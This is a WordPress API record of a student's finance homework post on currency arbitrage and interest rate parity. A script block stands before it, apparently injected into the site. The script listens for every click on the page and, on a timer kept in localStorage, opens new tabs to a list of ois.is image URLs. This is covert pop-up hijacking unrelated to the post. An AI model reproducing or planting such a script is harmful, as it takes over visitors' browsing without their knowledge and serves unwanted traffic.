<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1028,"date":"2023-04-26T19:01:57","date_gmt":"2023-04-26T11:01:57","guid":{"rendered":"https:\/\/edu.secda.info\/scu8154204\/?p=1028"},"modified":"2023-05-04T16:02:26","modified_gmt":"2023-05-04T08:02:26","slug":"hw5","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/scu8154204\/?p=1028","title":{"rendered":"HW5"},"content":{"rendered":"<p>1. Quoted Ask price:<\/p>\n<p>50.66 NTD\/Pound<\/p>\n<p>5.125 NTD\/CNY<\/p>\n<p>9.75 CNY\/Pound<\/p>\n<p>NTD 10,000\/5.125=1951.2195 CNY<\/p>\n<p>1951.2195 CNY\/9.75=200.1251 Pound<\/p>\n<p>200.1251*50.33 NTD=10,072.3 NTD<\/p>\n<p>net profit = NTD10,072.3-10,000 = <strong>72.3\u00a0NTD<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>2. \u5b58\u5728\u5957\u5229\u7a7a\u9593<\/p>\n<p>\u4ee51\u6b50\u5143\u51fa\u767c (1 Euro)<\/p>\n<p>Euro\/USD=1.2<br \/>\nEuro\/Pound=0.8<br \/>\nPound\/USD=1.4<\/p>\n<p>\u4ee51\u6b50\u5143\u8cb7\u82f1\u938a: 1\/0.8=1.25 Pound<\/p>\n<p>\u518d\u4ee5\u82f1\u938a\u8cb7\u7f8e\u5143: 1.25\/1.4\u22480.8929 USD<\/p>\n<p>\u6700\u5f8c\u4ee5\u7f8e\u5143\u63db\u56de\u6b50\u5143: 0.8929*1.2\u22481.07148 Euro<\/p>\n<p>\u5f97\u6de8\u640d\u76ca: 1.07148-1=0.07148<\/p>\n<p>&nbsp;<\/p>\n<p>3.<\/p>\n<p>(1)<\/p>\n<p>30*(1+5%*90\/360)=30.375 \u2260 30.5*(1+3%*90\/360)\u224830.7288<\/p>\n<p>\u6545<strong>\u6709\u62cb\u88dc\u7684\u5229\u7387\u5e73\u50f9\u8aaa\u4e0d\u6210\u7acb<\/strong><\/p>\n<p>(2)<\/p>\n<p>30.3*(1+3%*90\/360)=30.52725 &gt; 30.375<\/p>\n<p>\u6545\u9078\u64c7<strong>\u4ee5\u7f8e\u5143\u5b58\u6b3e<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>1. Quoted Ask price: 50.66 NTD\/Pound 5.1<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/1028"}],"collection":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1028"}],"version-history":[{"count":4,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/1028\/revisions"}],"predecessor-version":[{"id":1053,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=\/wp\/v2\/posts\/1028\/revisions\/1053"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1028"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1028"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/scu8154204\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1028"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}